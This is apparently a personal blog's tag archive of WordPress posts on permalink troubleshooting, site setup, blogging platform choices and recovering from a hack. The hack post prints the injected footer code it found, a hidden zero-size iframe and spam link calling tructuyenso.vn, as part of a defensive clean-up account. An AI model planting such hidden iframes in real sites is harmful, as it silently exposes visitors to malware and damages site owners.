Tag Archive: Codex

WordPress Permalinks Generated But Not Redirected

Introduction

Appalled

Appalled

I’ve had a few site problems whereby my host Site 5, said I was using too many resources and crashing their systems.  Naturally, I was appalled.  I traced this to a variety of plugins plus some errors in php files which must have arrived either during the periodic updates or during editing.  These were errors whereby extra text (either blank space or a carriage return to be precise) were added to the end of the php file, which usually makes it fail.  This a is a Google search on the main error I received,

Warning: Cannot modify header information – headers already sent …  (  This is then followed by error details; usually error on line xx, repeated several times for a variety of xx)

After battling for some time, I just gave up, exported my database key tables (things like posts, comments, etc but omitting plugin inserted tables and the very large options table which I deemed to be very bloated after over five years of continuous WordPress operation…!) and re-installed WordPress as a fresh installation on my server.

Weird Permalink Problem Following Clean Install of WordPress

This is where the weird problem arose….

SP Permalink Settings

SP Permalink Settings

When one installs WordPress for the first time, permalinks are set to the default – so this current post would be:

 http://strangelyperfect.tv/?p=11622

For SEO reasons and for many years I’ve used the format shown in the screenshot from my site shown left.  This current post will thus appear as:

http://strangelyperfect.tv/11622/wordpress-permalinks-generated-but-not-redirected

It’s a “Custom Structure” and the .htaccess file is updated automatically by WordPress when you set it.  You’ll see it’s set to:

/%post_id%/%postname%/

Now, on firing up a post, say this one,

http://strangelyperfect.tv/11428/victory-or-is-it-victory-jesse-willms-surrenders-all-to-ftc-onslaught/ ,

the actual web address I was taken to was:

http://strangelyperfect.tv/%post_id%/victory-or-is-it-victory-jesse-willms-surrenders-all-to-ftc-onslaught/  (error shown in bold)

…which redirected to the homepage of the site, http://strangelyperfect.tv/   This was not what I was expecting!  So I played with the slashes, went back to original simple permalink structure, tried some of the suggested structures – and they all worked!

A custom structure of /%postname%/ worked as well, but not the one I wanted and have used for years.

Weird.   So naturally, I tried Google.

Permalink Redirection Problem Solved.

There’s a lot on the web about this.  Most is about getting .htaccess right with permissions and the code.  But mine was okay, as were all the other suggestions to try.

A real key to resolving my problem was here, Custom Permalinks Generated But Not Redirected in the WordPress forums.  Specifically, it comes from the user, James, a Happiness Engineer!

He suggested adding index.php between the domain name and permalink structure.  So my custom structure changed to:

index.php/%post_id%/%postname%/

WordPress added a leading slash on the save and the website worked!  WAHAY!

However, the best is yet to come….

I thought that the URL was now not pretty, in fact, it was pretty ugly.  The URLs were now being shown like:

http://strangelyperfect.tv/11428/victory-or-is-it-victory-jesse-willms-surrenders-all-to-ftc-onslaught/

So I removed the index.php and reset the custom structure to what I wanted – /%post_id%/%postname%/

It worked!  WAHAY!  All posts’ URLs redirecting  how I wanted!

Conclusion

I’ve no idea, actually.  I’m suspecting some caching, somewhere down the great inter-tubes in the sky, but apart from that…………..?

  • Was it my server?  Dunno.
  • Was it DNS caching?  Dunno.
  • Was it ISP caching? Dunno

All I know is that it’s working now, and the Happiness Engineer’s suggestion sent me on my way, happy.


Postscript – added 22/11/2015

My permalinks in 2015

My permalinks in 2015

Since this time, I have not had to use the index.php fix, and the permalinks are all working correctly.  The flip-flip of adding and removing the fix….just seemed to work!

NoIdeaDeer


 

Enhanced by Zemanta

Related Posts:

Hacked – I was a possible Malware Site for tructuyenso.vn!

Introduction

A few days ago I got hacked.  I quickly ripped out a heap of dodgy files left by the hackers but for some days now, Firefox, my browser, while viewing pages on this website, has been saying that it’s “downloading data from tructuyenso.vn… “.

.htaccess

This, of course, was not actually happening, as I’ve put the blockers on the whole of Vietnam using .htaccess!  The reason for this is that initially, tructuyenso wasn’t the only site appearing in the progress tip – there was another which lasted until I got rid of the various files dumped on my website.  This is how:

<Limit GET POST>
order allow,deny
deny from 112.0.0.0/8
allow from all
</Limit>

However, the call was still being made from somewhere on my site as the progress indicator wouldn’t stop….

Site5 Search

A search for the string “tructuyenso.vn” turned up nothing in the files on my website using my website host’s file manager.  (In the end, this was my failing and I will not rely on the thing again!)

A search through my database also turned up zero.

TCPView

TCPView is a download from Sysinternals.com  (now Microsoft!) that shows the various net connections being made to one’s PC from everywhere.  This immediately showed that as soon as the main strangelyperfect.tv website (not the backend WordPress admin area), fired up in Firefox, as many as 7 connections were simultaneously made to 112.78.15.230……  This is the IP address that holds tructuyenso.vn, plus 11 other domains, some of which I’d seen flash through the progress bar.

Even when closed by TCPView, the connections would immediately start up again to the same IP address, 112.78.15.230  (manually closing strangelyperfect.tv stopped the connections).

Reverse IP on tructuyenso.vn

Reverse IP on tructuyenso.vn

YouGetSignal.com shows the domains up nicely in the screenshot above..

Result!

Finding nowt anywhere and Google searches providing zilch on the website in question except in Vietnamese, I turned to the WordPress Codex, specifically, https://codex.wordpress.org/FAQ_My_site_was_hacked

I had of course previously changed my FTP, mySQL databaase and site management passwords, but the link at the bottom to a Website malware & blacklist scan (Sucuri) was the killer!  On visiting Sucuri, it instantly said that I was acting as a host for malware and gave the offending results, for free! (Of course, I wasn’t hosting malware – just that it gave an indication that I was and hence the slowness of the site to load as it tried and failed to download shite my way from Vietnam)

This is their take on it: http://sucuri.net/malware/malware-entry-mwiframehd202

Final Cause and Clean Up

Checking the source code for my homepage (which in retrospect I should have done first!!) threw up “tructuyenso.vn” right at the very bottom.  This is the code as it was when I checked:

<a href="http://tructuyenso.vn" title="Quang cao truc tuyen | Ban hang truc tuyen | Dien dan quang cao truc tuyen" > Quang cao truc tuyen</a>
<iframe marginWidth="0" marginHeight="0" frameBorder="0" width="0" height="0" bottommargin="0" rightmargin="0" leftmargin="0" topmargin="0" nosize scrolling="no" src="http://tructuyenso.vn/"></iframe>
</body>
</html>

This was then easily traced to the footer.php file in my theme, Suffusion.

It was simply stripped out and the website then worked fine…..  but to be sure, I have downloaded then checked the footer file in a fresh theme download to be sure – it’s clean!  I then uploaded a whole clean Suffusion theme in it’s entirety just in case any other theme files were compromised during the original hack yet were dormant, waiting for a trigger.

A recheck on Securi shows my website to be okay now.  See screendump below.   I’ll be using Securi  a lot more!

Securi Site Check

Securi Site Check

Related Posts:

Comments are closed

How I Made my Website

This site is set up using blogging software called WordPress. It’s hosted on my dedicated hosting solution ixWebHosting in Kentucky, USA. For this, they give me several unique IP addresses, a shed load of email, database and FTP accounts as well as up-to-date Apache, php and MySQL installations. There are other extras too – check their site.

WordPress comes in two basic forms situated at wordpress.com or wordpress.org

The dot com is a hosted organisation where lots of the hard work is taken away from you (and some of the functionality), the dot org is the actual software that you have to look after yourself. Using this last method gives you complete control over – everything actually.

The install takes 5 minutes (yes really). Some hosts will actually have an up-to-date WordPress installation as part of their package. Not mine though.

After the install, the appearance is the standard Kubrick Theme. There are shed loads of other themes so you can easily change the appearance and layout. Start here. Because of the open source nature of the software, you can hack the code to your hearts content to make it do anything – certainly anything that your skill-set allows! Even without being at boffin-level, it’s still possible to do heaps of stuff and customisations.

A recent standardised innovation is the “widget” feature which cottons on to the “plugin” nature of the various add-ons available. The codex is an enormous resource and a good starting point that’ll take you to any info you need.  A neat thing  that isn’t a plugin from Jeroen Wijering provides the streaming audio at my Crawling Chaos site.  This shows that you can put stuff together in all sorts of ways.  I keep adding to the streaming audio playlist, as I see fit.  It’s pretty good – will do videos and all sorts.

I’ve found this site here which gives a pretty good description of how a “Theme” is put together. You need a local install of WordPress, Apache and MySQl to test it on the PC. The instructions are here and here of how to do this. It takes two minutes.

After that, it’s a good play without any fear of a fuck-up. I used Dreamweaver to do lots of editting because it saves a bit of typing. But as I said in the pub, you are setting up a website in a totally different way to a few years ago. It’s a total sea change in the way of doing things. And I’m still learning now, little by little.

All the pictures are held in a folder (or two!). All the text is held as entries in database tables. When a web user calls up a page, the whole thing is generated dynamically on-the-fly and assembled so that the user’s browser still reads html (or whatever) just as it always did. The beauty comes from the ease of generating standard menus and appearance without doing a page at a time. It’s the same as in Object Orientated Programming where each feature is “an object” and you just call them up when you need them and plonk them on the page where you want them.

The only trouble is in having to learn (yet) another language (or two) with all the different syntax and peculiarities that go with it.

I’ll be back with some more on this later.  All the stuff I’ve learnt so far and a complete list of add-ons I’ve tried and use now.  I’ll probably tabulate for conciseness.

Related Posts:

Comments are closed

Reply To Greetings and Intro

Hi Constance.
You are lucky to get through – you nearly went into the automatic de-spammer with a subject heading of “Greetings and Intro”!!!Your family history is interesting. Trouble is, everyone in England is related to someone – especially in Somerset! They pulled a body out of the bog near here, pre-Stonehenge, and the DNA was the same as some people in Bridgwater! People don’t move far round here..

Enough of that… I did my sites using WordPress for the sole reason that someone else, http://www.acuterecords.com/ , had done the same. I asked them what they did as my site, using Dreamweaver and the old HTML coding was getting very difficult to use. This was because instead of just displaying information, I found myself adding comments all the time. This, I found out, is what a blog is(previously I’d sniffed in a snooty manner at thought sort of thing). But I didn’t want just a long list of personal postings, and it was at that point I spoke to Acute Records and realised that blogging software could do a lot more than just post personal musings in a big long list!!!

Concurrently with these events, a guy at work from whom I’d been borrowing hosting space, said he couldn’t do it any more as he couldn’t guarantee to be alive(yes really!) at the end of the year so I’d better find somewhere else. I told him about chanting but, well, y’know… He’s still alive though!
The upshot of it all is that within a fortnight, I’d checked out WordPress and hosting solutions and totally swapped my way of working. I found I needed a database to run stuff, did a load of furious copying, editing and pasting to get all content moved into the new format, and then I was live.

AND NOW THE MAIN STUFF.

Drupal, WordPress, Movable Type, PHP BB. These are few ways to do things. Check this out:

http://en.wikipedia.org/wiki/Comparison_of_content_management_systems for CMS systems and here http://www.ojr.org/ojr/images/blog_software_comparison.cfm to compare blogging tools. This http://www.problogger.net/archives/2006/01/18/blog-platforms-poll-results/ charts blog software popularity (in a small way). I’ve seen full-on stats that show WordPress is the most popular system.

What you have to do is decide who, in your organisation, is most qualified to determine the system to use. If it’s you, then you decide what software to use, not someone else and then you get lumbered with it!

Then, you have to decide what EXACTLY your organisation wants to do on the web. You need some precision here. It’s okay for me as I’m just a personal thing, possibly doing or changing stuff on a whim. But in a professional organisation you should do things professionally, set targets and goals, strategies and limits, enforce corporate appearances and standards – all that stuff.
Then decide what format best suits your needs.

If you are still unsure, check out lots of sites. Usually, at the bottom, the site will tell you what platform they are using and even their hosts etc. You will find that there is a lot of cross pollination going on. Sites that superficially look alike are using totally different systems.

Now to my opinions:
WordPress.org (which I use), has by far the largest user base. There are pros and cons to this.
Pro – loads of support and options
Con – hacking target, because of it’s size, like M$.

WordPress can do almost anything. If it’s purely a bulletin board service you need, then use something else. Otherwise, I’d go for it. Drop Drupal. That’s the word on 75% of the street although 25% swear by it! You can try http://mu.wordpress.org/ for a big multiblog thing (I haven’t tried this)

All the different platforms have one thing in common:
They separate the content from design and layout. This is fantastic! It means you can keep all your information and pictures, messages and dates, pages and posts from your old site in one place and move if necessary. The format and layout can be literally changed at the flick of a switch!

This works by storing all content in a back-end database, which costs a bit more than a plain hosting – but not much. I use MySQL which the host provides and set it up (actually just a name and a db admin name and password) using PHPadmin (also provided). It’s virtually a no-brainer to set up, so no fear there.

If you can, stick to the non-M$ way of hosting which has two advantages (and hardly any disses). This means Unix/Linux/Apache. The advantages are that it can be incredibly secure and it’s cheaper! The security comes from the proper implementation of a .htaccess file (look it up if you don’t know about it) and file/folder permissions. WordPress has a neat 5-minute install ( http://codex.wordpress.org/Installing_WordPress#Famous_5-Minute_Install ) system that does everything including making the database. After that, you can change it’s appearance (called a theme) from the default. Check out here, http://themes.wordpress.net/, there are thousands although with a bit of PHP coding you can make your own or modify an existing one (which is what I’ve done).

NOW TO DESIGN.

There’s no need to use DreamWeaver or anything. Any code editing I do using the website admin tools or notepad(!). Content is added much as you would write an email or word document with pictures and links set by yourself. This is saved and stored in the database. Any user can do this. You, as database administrator set the permissions they are allowed. You can even set up sub-administrators to admin other users…so it goes. Crucially, there is no html formatting and stuff in with the content. To show you how this works, I’ll copy this mail into my site under the post heading Reply To Greetings and Intro, but also, it will automatically appear in Jill’s site as a comment. This is powerful stuff. You’ll see all the content and links I’ve included, but with the theme format, not plain text as here.
The layout comes totally from the theme you use which can vary from one to five columns (like a newspaper). The key point is that a “page” and a “post” are really just about the same thing. Just their display options vary. All posts and pages can be:
public/private,
commentable/or not,
password protected for viewing/or not,
written/edited/deleted by “roles” with varying degrees of access rights,

The site can be:
configured to be bot searched – or not,
configured to receive or block linkis/referrers

This is just from the top of my head. There is a wealth of configurability. On top of this, there are:

PLUGINS and WIDGETS

These are add-ons that require minimum technical knowledge to implement and configure. Currently (from memory) I use them to manage and show images in a nice way, pre-view other websites, block hackers and spammers(bastards), translate pages to other languages, play audio and video, provide stats…

As with the themes there are thousands of them. You just upload, activate, test, and then ditch it or keep it if it does/doesn’t do what you want.

FINAL NOTE

There are two forms of WordPress. One is wordpress.com which does all the work for you but is not very twiddle-able. The other is WordPress.org which is fully manageable as you have to have your own domain hosting, upload the software and modify it yourself.

I use WordPress.org. Go to http://wordpress.org/ Everything (virtually) you need to know is there. There is a large user base and the documentation is derived from the same user base. Updates to the software are very regular. Go for it!

Rees

Related Posts:

© 2007-2017 Strangely Perfect All Rights Reserved -- Copyright notice by me